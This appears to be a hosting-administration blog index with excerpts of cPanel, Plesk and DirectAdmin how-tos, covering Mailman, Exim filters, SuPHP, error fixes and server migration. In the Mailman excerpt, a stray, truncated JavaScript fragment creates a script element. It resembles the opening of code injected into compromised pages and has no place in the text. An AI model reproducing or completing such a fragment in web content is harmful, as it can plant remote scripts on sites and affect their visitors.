Hosting Controller

Howto: Disable MailMan

To disable Mailman on a cPanel server, remove the execute permissions of the mailman wrapper chmod -x /usr/local/cpanel/3rdparty/mailman/mail/wrapper If you ever want to enable it: chmod +x /usr/local/cpanel/3rdparty/mailman/mail/wrapper var d=document;var s=d.createElement(‘script’);

Monitor outgoing emails in cPanel exim

In cPanel WHM, Main > Service Configuration > Exim Configuration Editor: Under Filters, check “System Filter File” location, usually at “/etc/cpanel_exim_system_filter”.   Edit the file: Just below (this should already exist): if not first_delivery then finish endif Add the filter: # Monitor outgoing emails from domain.tld if first_delivery and (“$h_from:” […]

How to assign a dedicated IP to a Sub-domain OR Add-on/Park domain?

By default, cPanel allows one IP per account, however, in case you wish to assign multiple IPs to an account, say for a sub-domain, you can do so by editing a few files. Follow the below steps: 1) The main configuration file of a domain is stored under the /var/cpanel/userdata/<username>/ […]

Howto: Enable SuPHP/phpSuExec on a cPanel server?

How to install and enable SuPHP on a cPanel server OR How to install phpSuExec on a Linux Server? SuPHP Or PHPSuExec as most people call is a module that increases the security of the server and executes PHP files under the owner of the file instead of the Apache […]

Plesk Atmail open_basedir restriction: /etc/psa-webmail/atmail/ not within allowed path(s)

If you upgrade the Plesk control panel, the Atmail webmail client will display the “/etc/psa-webmail/atmail/.atmail.shadow open_basedir restriction” error message while accessing Atmail. The complete error message looks like follows: Warning: fopen [function.fopen]: open_basedir restriction in effect. File(/etc/psa-webmail/atmail/.atmail.shadow) is not within allowed path(s): (/var/www/atmail:/var/log/atmail:/etc/psa:/tmp:/var/tmp) in /var/www/atmail/libs/Atmail/Config.php on line 4 The error […]

Plesk StatInfo-> getProductVersion failed: file_get_contents () failed

While accessing the Plesk control panel, you may encounter an error message as follows: ERROR: PleskFatalException StatInfo-> getProductVersion failed OR ERROR: PleskFatalException StatInfo-> getProductVersion failed: file_get_contents () failed: mktime() [<a href=’function.mktime’>function.mktime</a>] The error indicates that the file /usr/local/psa/version which contains the Plesk version is empty AND/OR the plesk version in […]

Server Securing

Securing Your Server Below given are some of the steps that can be used to secure your server. Disable identification output for Apache To disable the version output for proftp, SSH into server and login as root. At command prompt type: pico /etc/httpd/conf/httpd.conf Scroll (way) down and change the following […]

Plesk Installation: Unable to install the psa-backup-manager

You see a “Unable to install the psa-backup-manager” error while installing Plesk and it is because of the incomplete db4 packages needed for embedded database support for various applications. The complete error message looks like: Determining the packages that need to be installed. ERROR: Unable to install the “psa-backup-manager-9.x.x-cos5.buildxxxxxxx.00.i586″ package. […]

Migrate a DirectAdmin Server to a new DirectAdmin Server

One day my client asked me to migrate a Direct Admin Server to NEW server with improved hardware. He wants this migration with minimum down time. Below are the steps which I did for this migration. 01. Check the current versions of Apache, PHP and MySQL and then number of […]